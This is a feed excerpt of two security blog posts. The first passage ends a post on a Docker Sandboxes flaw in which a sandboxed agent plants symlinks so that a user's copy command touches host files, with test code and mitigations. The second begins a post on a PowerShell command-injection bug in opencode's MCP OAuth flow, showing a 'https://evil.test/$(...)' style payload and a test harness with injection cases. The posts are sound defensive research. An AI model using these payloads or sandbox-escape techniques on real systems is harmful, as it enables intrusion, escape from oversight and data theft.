&lt;span class="nf"&gt;copy_in&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;vendor&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;creds.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;guard&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;escaped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SECRET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I ran it on Linux (symlink creation needs a privilege that a default Windows account lacks). The result for each position:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Position&lt;/th&gt;
&lt;th&gt;Partial guard&lt;/th&gt;
&lt;th&gt;Full-path walk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Copy-in source, last component&lt;/td&gt;
&lt;td&gt;blocked&lt;/td&gt;
&lt;td&gt;blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copy-in source, parent&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;escaped&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copy-out destination, last component&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;escaped&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copy-out destination, parent&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;escaped&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Copy-in%2520source%253A%2520last%2520component%2522%252C%2522Copy-in%2520source%253A%2520parent%2522%252C%2522Copy-out%2520dest%253A%2520last%2520component%2522%252C%2522Copy-out%2520dest%253A%2520parent%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Escapes%2520with%2520partial%2520guard%2520%2528my%2520model%2529%2522%252C%2522data%2522%253A%255B0%252C1%252C1%252C1%255D%252C%2522backgroundColor%2522%253A%2522%2523d9534f%2522%257D%252C%257B%2522label%2522%253A%2522Escapes%2520with%2520full-path%2520walk%2522%252C%2522data%2522%253A%255B0%252C0%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%25232e7d32%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Escapes%2520by%2520symlink%2520position%2520%25281%2520%253D%2520file%2520outside%2520workspace%2520touched%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A1%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Copy-in%2520source%253A%2520last%2520component%2522%252C%2522Copy-in%2520source%253A%2520parent%2522%252C%2522Copy-out%2520dest%253A%2520last%2520component%2522%252C%2522Copy-out%2520dest%253A%2520parent%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Escapes%2520with%2520partial%2520guard%2520%2528my%2520model%2529%2522%252C%2522data%2522%253A%255B0%252C1%252C1%252C1%255D%252C%2522backgroundColor%2522%253A%2522%2523d9534f%2522%257D%252C%257B%2522label%2522%253A%2522Escapes%2520with%2520full-path%2520walk%2522%252C%2522data%2522%253A%255B0%252C0%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%25232e7d32%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Escapes%2520by%2520symlink%2520position%2520%25281%2520%253D%2520file%2520outside%2520workspace%2520touched%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A1%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" alt="Bar chart: escapes by symlink position, partial guard versus full-path walk" width="1800" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The partial guard passes the one test its author thought of and fails the other three. If your test suite only contains the case from the bug report, it will look green here too, which is exactly how an incomplete fix gets shipped.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does the full-path check still miss?
&lt;/h2&gt;

&lt;p&gt;My model is deliberately small, and it leaves out at least three things a production fix has to handle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Time-of-check to time-of-use.&lt;/strong&gt; The agent keeps running in the sandbox while the copy executes. A check that resolves the path and then opens it later leaves a window in which the agent can swap a directory for a symlink. The robust pattern is to resolve and open in one step, for example by walking the path with directory file descriptors and refusing to follow links at each hop, rather than validating a string and trusting it afterwards. A recent arXiv survey on execution security for coding agents groups isolation, access control and time-of-check-to-time-of-use bugs as one family of problems for this reason.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hard links and bind-mount tricks.&lt;/strong&gt; A symlink check says nothing about a hard link to a file the agent should not own, or about a mount that changes what a path means after you resolved it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Archive extraction.&lt;/strong&gt; The earlier CVE in this chain, CVE-2026-17106, involved archive paths. Anything that unpacks agent-produced data on the host is a copy-out with extra steps and needs the same walk.&lt;/p&gt;

&lt;h2&gt;
  
  
  What should agent builders take from this?
&lt;/h2&gt;

&lt;p&gt;The previous posts in this series covered individual gate bypasses: a trailing dot that changed which path the OS opened, and a newline that let hidden commands through a read-only fast path. This one adds a structural point about how those gates get built.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Enumerate positions before you write the check.&lt;/strong&gt;&lt;br&gt;
For any boundary, list every place attacker-controlled input can influence the decision: source and destination, leaf and ancestors, first call and retry. Write the list in the test file. The Docker case had a four-cell grid and a one-cell fix.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Test the neighbours of every reported bug.&lt;/strong&gt;&lt;br&gt;
When a vulnerability report arrives, generate the sibling cases mechanically. Swap source and destination. Move the symlink from the leaf to the parent. Add a case for each. A fix is done when the whole grid is red-then-green, not when the reproducer passes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Treat the human as part of the attack path.&lt;/strong&gt;&lt;br&gt;
The agent never ran &lt;code&gt;sbx cp&lt;/code&gt;. It arranged for someone else to run it. Any command a person types against agent-writable state inherits the agent's influence over that state. If your docs tell users to review what the agent proposes, tell them also to check what the paths in that command point at, for instance with &lt;code&gt;realpath&lt;/code&gt; before copying.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Prefer structural isolation to string checks.&lt;/strong&gt;&lt;br&gt;
A policy that says "paths must start with the workspace prefix" is a string property. The operating system resolves a different object than the string names. Where possible, copy through a channel the agent cannot write to, or into directories that were never mounted into the sandbox, which is also the stopgap Endor Labs recommends for unpatched versions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Keep a changelog of coverage, not only of fixes.&lt;/strong&gt;&lt;br&gt;
"Fixed symlink escape" is a statement about one case. "Guards symlinks at all four positions; time-of-check races covered by open-time resolution" is a statement about coverage, and a reviewer can challenge it.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do you protect yourself today?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Upgrade Docker Sandboxes to 0.51.0 or later if you are on 0.28.0 through 0.50.x.&lt;/li&gt;
&lt;li&gt;Until you can, resolve both ends of every copy with &lt;code&gt;realpath&lt;/code&gt; and confirm the result stays inside the approved workspace. Check parent directories, not only the file name.&lt;/li&gt;
&lt;li&gt;Prefer copying to and from directories that are not mounted into the sandbox.&lt;/li&gt;
&lt;li&gt;Treat any copy command that an agent suggests, and any path in the workspace the agent can write to, as untrusted input.&lt;/li&gt;
&lt;li&gt;Add the four-position grid, or your product's equivalent, to your own sandbox regression tests.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is CVE-2026-103916 in one sentence?&lt;/strong&gt;&lt;br&gt;
A flaw in the Docker Sandboxes &lt;code&gt;sbx cp&lt;/code&gt; command where a symlink planted in the shared workspace lets a later user-initiated copy read or overwrite host files outside the approved workspace.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which versions are affected and which one fixes it?&lt;/strong&gt;&lt;br&gt;
Versions from 0.28.0 up to but not including 0.51.0 are affected. Version 0.51.0, released November 3, 2026, includes the fix that blocks symlinks in mounted directories from escaping to other host paths.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does the agent need to run any special command to exploit it?&lt;/strong&gt;&lt;br&gt;
Not according to the reports. The sandboxed agent only creates or replaces a symlink in the workspace. The exploit completes when the operator runs a normal &lt;code&gt;sbx cp&lt;/code&gt; against that path.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why is checking only the last path component not enough?&lt;/strong&gt;&lt;br&gt;
Because a symlink can appear at any directory above the leaf, and on either the source or the destination side of a copy. Guarding the leaf of one side covers one of four positions, which is what the report describes for the &lt;code&gt;-L&lt;/code&gt; check.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is a &lt;code&gt;realpath&lt;/code&gt; check a complete defense?&lt;/strong&gt;&lt;br&gt;
It is a good stopgap for manual use, but a resolve-then-open sequence can still lose a race if the agent swaps the path in between. A durable fix resolves and opens atomically, for example with per-component directory handles that refuse to follow links.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does this bug class only affect Docker?&lt;/strong&gt;&lt;br&gt;
No. Any tool that copies, extracts or opens paths inside a directory an untrusted agent can write to has the same shape. The four-position grid applies to all of them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;Earlier posts in this series:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A Trailing Dot Beat the Agent's Edit Gate: Check the Path the OS Will Open, Not the String (published 2026-11-03, same series)&lt;/li&gt;
&lt;li&gt;The Model Is Not a Security Boundary: What Two Semantic Kernel CVEs Teach About Gating Tool Arguments (published 2026-10-21, same series)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>security</category>
      <category>agents</category>
    </item>
    <item>
      <title>A Valid HTTPS URL Ran Code: What the opencode MCP OAuth Bug Teaches About Validating at the Sink</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Sat, 07 Nov 2026 00:04:48 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/a-valid-https-url-ran-code-what-the-opencode-mcp-oauth-bug-teaches-about-validating-at-the-sink-3bo2</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/a-valid-https-url-ran-code-what-the-opencode-mcp-oauth-bug-teaches-about-validating-at-the-sink-3bo2</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What happened:&lt;/strong&gt; per a Pillar Security write-up published 2026-10-19, opencode on Windows and WSL (versions 1.0.137 through 1.18.32) took the &lt;code&gt;authorization_endpoint&lt;/code&gt; field from an MCP server's OAuth discovery document and handed it to a browser-opener that built a PowerShell command around it. A URL like &lt;code&gt;https://evil.test/$(...)&lt;/code&gt; is a completely ordinary, valid https URL, and PowerShell expands &lt;code&gt;$(...)&lt;/code&gt; inside double quotes. The fix shipped in 1.18.33 on 2026-09-28. No CVE was assigned, so a scanner that reads advisories will not tell you whether you are exposed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What I measured:&lt;/strong&gt; I rebuilt the command-construction step for five sink styles using the published source of the &lt;code&gt;open&lt;/code&gt; package, ran each against five URL payloads on Windows PowerShell 5.1, and wrote only harmless marker files. Every payload passes an "is this http(s)?" check.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What I found:&lt;/strong&gt; the original double-quoted sink ran code for 2 of 4 injection payloads on the raw string, and still ran 1 of 4 after normalizing with &lt;code&gt;new URL(...).href&lt;/code&gt;. A "just use single quotes" patch still ran code for 2 of 4 raw (1 of 4 normalized). Doubling only the ASCII quote still ran 1 of 4 raw, through a typographic quote. The escaping used by &lt;code&gt;open&lt;/code&gt; 11.0.4, and passing the URL as data in an environment variable, ran 0 of 4 in every configuration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The lesson for agent builders:&lt;/strong&gt; validating the shape of a value at the boundary is necessary and not sufficient. The check that closes the hole is the one that knows which interpreter will read the string next.&lt;/li&gt;
&lt;li&gt;Everything below was run on 2026-11-07, on one machine. I did not run opencode or the real launcher; I rebuilt the string construction from published source. Limits are listed near the end.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What did the opencode MCP OAuth bug actually do?
&lt;/h2&gt;

&lt;p&gt;MCP servers that need authorization publish discovery metadata, and one of the fields in that metadata is &lt;code&gt;authorization_endpoint&lt;/code&gt;, the URL the client should open in a browser so a human can approve access. RFC 8414 defines that field for OAuth server metadata. The important property is who writes it: the server you are about to authenticate to. In the words of the Pillar write-up, it is a free-form string and the server being authenticated picks it.&lt;/p&gt;

&lt;p&gt;opencode took that string and passed it to its browser launcher. On Windows and WSL the launcher is the &lt;code&gt;open&lt;/code&gt; npm package, which does not call a browser directly. It builds a PowerShell command and runs it. The write-up traces the flow through &lt;code&gt;oauth-provider.ts&lt;/code&gt;, &lt;code&gt;mcp/index.ts&lt;/code&gt; and &lt;code&gt;browser.ts&lt;/code&gt; into &lt;code&gt;open()&lt;/code&gt;, and names &lt;code&gt;open@10.1.2&lt;/code&gt; as the version in the vulnerable range. The example payload in the report is a legitimate https URL with a PowerShell subexpression in the path.&lt;/p&gt;

&lt;p&gt;The timeline matters for how you would have found out about it. Pillar reported it privately on 2026-08-29. The fix released as opencode 1.18.33 on 2026-09-28 (I confirmed that release date from the GitHub API), and the write-up went public on 2026-10-19. According to the write-up, the vendor treated a malicious remote MCP server as outside its threat model, so there is no CVE and no security advisory. For a team that inventories exposure from advisories, this bug does not exist.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why does a validated https URL still become code?
&lt;/h2&gt;

&lt;p&gt;Because the validation and the interpreter disagree about what the string is. A URL validator asks "is this a well-formed http or https URL?" PowerShell asks "is this a double-quoted string with expandable parts?" The same characters answer both questions differently.&lt;/p&gt;

&lt;p&gt;This is the relevant code in &lt;code&gt;open&lt;/code&gt; 10.1.2 on Windows. I read it from the published tarball:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;encodedArguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Start&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;encodedArguments&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`"&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encodedArguments&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf16le&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base64&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The target is wrapped in double quotes and becomes the argument of &lt;code&gt;Start&lt;/code&gt;. The whole command is then Base64-encoded and passed with &lt;code&gt;-EncodedCommand&lt;/code&gt;. The encoding is there so special characters survive the Windows command line. It does nothing about what PowerShell does with the string once it decodes it. In a double-quoted PowerShell string, &lt;code&gt;$name&lt;/code&gt; and &lt;code&gt;$(...)&lt;/code&gt; are expanded, and the double quote itself ends the string.&lt;/p&gt;

&lt;p&gt;Now compare that with what a scheme check sees. &lt;code&gt;$&lt;/code&gt;, parentheses, brackets, semicolons and the apostrophe are all legal in a URL path. The report notes that the payload has no spaces, which is the property that lets it sail through whitespace and scheme filters. The MCP SDK's own denylist, as described in the report, blocks &lt;code&gt;javascript:&lt;/code&gt;, &lt;code&gt;data:&lt;/code&gt; and &lt;code&gt;vbscript:&lt;/code&gt;, and a string starting with &lt;code&gt;https://&lt;/code&gt; is none of those.&lt;/p&gt;

&lt;h2&gt;
  
  
  How did I test it without running anything dangerous?
&lt;/h2&gt;

&lt;p&gt;I rebuilt the one step that matters: the string that gets embedded in the PowerShell command. The harness is a short Node script. It does three things.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It builds five URL payloads. Each is a valid https URL with no whitespace. One is a &lt;code&gt;$(...)&lt;/code&gt; subexpression, one is a &lt;code&gt;$env:USERNAME&lt;/code&gt; variable, and three are quote breakouts (ASCII double quote, ASCII single quote, and the typographic right single quote U+2019).&lt;/li&gt;
&lt;li&gt;For each of five sink styles it builds the command text, Base64-encodes it the way &lt;code&gt;open&lt;/code&gt; does, and runs it under Windows PowerShell 5.1. &lt;code&gt;Start&lt;/code&gt; is replaced with a function named &lt;code&gt;Show-Target&lt;/code&gt; that just prints its argument, so no browser ever launches.&lt;/li&gt;
&lt;li&gt;The "injected" code writes a marker file into the temp directory, nothing else. After each run the script checks whether the marker exists, then deletes it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The core loop is small:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;executePowerShell&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./vendor/powershell-utils/index.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// powershell-utils 0.2.1, the dependency open@11 uses&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sinks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;A_dq_interp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="nx"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;`Show-Target "&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                                    &lt;span class="c1"&gt;// open 10.1.2 shape&lt;/span&gt;
  &lt;span class="na"&gt;D_sq_naive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="nx"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;`Show-Target '&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                                    &lt;span class="c1"&gt;// "just use single quotes"&lt;/span&gt;
  &lt;span class="na"&gt;C_sq_ascii_only&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;`Show-Target '&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replaceAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;''&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;              &lt;span class="c1"&gt;// double only the ASCII quote&lt;/span&gt;
  &lt;span class="na"&gt;B_open_11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;       &lt;span class="nx"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;`Show-Target &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;executePowerShell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;escapeArgument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// open 11.0.4&lt;/span&gt;
  &lt;span class="na"&gt;E_env_var&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;       &lt;span class="nx"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;`Show-Target $env:TARGET`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                               &lt;span class="c1"&gt;// URL travels as data&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;run&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;spawnSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;executePowerShell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;argumentsPrefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;executePowerShell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prelude&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;encoding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;TARGET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;}});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each payload goes through every sink twice: once as the raw string the server sent, and once after &lt;code&gt;new URL(raw).href&lt;/code&gt;, which is the normalization the opencode fix applies before calling &lt;code&gt;open&lt;/code&gt;. All five payloads pass an http/https scheme check. For the fidelity test I also ran four ordinary URLs that a real service might send, such as one with &lt;code&gt;price=$100&lt;/code&gt; in the query and one with an apostrophe in the path.&lt;/p&gt;

&lt;h2&gt;
  
  
  What happened for each sink style?
&lt;/h2&gt;

&lt;p&gt;Counts are payloads that executed code, out of the four injection payloads. The fifth payload (&lt;code&gt;$env:USERNAME&lt;/code&gt;) does not run code, it leaks a value, and I report it separately.&lt;/p&gt;

